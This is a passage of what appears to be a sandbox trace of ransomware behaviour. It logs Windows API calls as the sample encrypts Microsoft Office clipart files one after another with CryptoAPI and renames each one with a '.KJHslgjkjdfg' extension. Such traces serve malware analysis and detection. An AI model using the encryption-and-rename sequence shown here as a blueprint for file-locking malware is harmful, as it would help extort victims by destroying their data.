[0162.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2bd0, lpOverlapped=0x0) returned 1 [0162.394] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.394] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.394] SetEndOfFile (hFile=0x114) returned 1 [0162.396] GetProcessHeap () returned 0x2a0000 [0162.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.397] GetProcessHeap () returned 0x2a0000 [0162.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.kjhslgjkjdfg")) returned 1 [0162.398] CloseHandle (hObject=0x114) returned 1 [0162.398] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0162.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.399] GetProcessHeap () returned 0x2a0000 [0162.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.399] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.399] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.399] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.399] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.399] GetProcessHeap () returned 0x2a0000 [0162.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.399] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.399] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.399] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.416] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.416] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.417] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.417] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.417] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.417] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4290, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4290, lpOverlapped=0x0) returned 1 [0162.418] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4290, dwBufLen=0x4290 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4290) returned 1 [0162.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.419] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4290, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4290, lpOverlapped=0x0) returned 1 [0162.419] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.419] SetEndOfFile (hFile=0x114) returned 1 [0162.422] GetProcessHeap () returned 0x2a0000 [0162.422] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.422] GetProcessHeap () returned 0x2a0000 [0162.422] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.kjhslgjkjdfg")) returned 1 [0162.423] CloseHandle (hObject=0x114) returned 1 [0162.423] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0162.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.424] GetProcessHeap () returned 0x2a0000 [0162.424] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.424] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.424] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.424] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.424] GetProcessHeap () returned 0x2a0000 [0162.425] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.425] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.425] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.425] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.427] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.427] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.427] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.428] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.428] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x43c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x43c0, lpOverlapped=0x0) returned 1 [0162.429] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43c0) returned 1 [0162.429] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.429] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x43c0, lpOverlapped=0x0) returned 1 [0162.429] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.429] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.430] SetEndOfFile (hFile=0x114) returned 1 [0162.432] GetProcessHeap () returned 0x2a0000 [0162.432] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.432] GetProcessHeap () returned 0x2a0000 [0162.432] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.kjhslgjkjdfg")) returned 1 [0162.434] CloseHandle (hObject=0x114) returned 1 [0162.434] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0162.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.435] GetProcessHeap () returned 0x2a0000 [0162.435] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.435] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.435] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0162.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.437] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.437] GetProcessHeap () returned 0x2a0000 [0162.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.437] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.438] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.438] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.438] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.438] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.438] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.438] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.438] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.438] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.439] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.439] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3264, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3264, lpOverlapped=0x0) returned 1 [0162.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3270, dwBufLen=0x3270 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3270) returned 1 [0162.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.441] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3270, lpOverlapped=0x0) returned 1 [0162.441] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.441] SetEndOfFile (hFile=0x114) returned 1 [0162.444] GetProcessHeap () returned 0x2a0000 [0162.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.444] GetProcessHeap () returned 0x2a0000 [0162.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.kjhslgjkjdfg")) returned 1 [0162.445] CloseHandle (hObject=0x114) returned 1 [0162.445] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0162.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.449] GetProcessHeap () returned 0x2a0000 [0162.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.449] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.449] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0162.471] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.471] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.472] GetProcessHeap () returned 0x2a0000 [0162.472] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.472] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.472] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.472] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.472] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.472] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.472] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.472] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.473] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.473] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.473] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaf94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaf94, lpOverlapped=0x0) returned 1 [0162.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xafa0, dwBufLen=0xafa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xafa0) returned 1 [0162.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.843] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xafa0, lpOverlapped=0x0) returned 1 [0162.843] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.843] SetEndOfFile (hFile=0x114) returned 1 [0162.847] GetProcessHeap () returned 0x2a0000 [0162.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.847] GetProcessHeap () returned 0x2a0000 [0162.847] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.kjhslgjkjdfg")) returned 1 [0162.849] CloseHandle (hObject=0x114) returned 1 [0162.849] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0162.849] CreateFileW 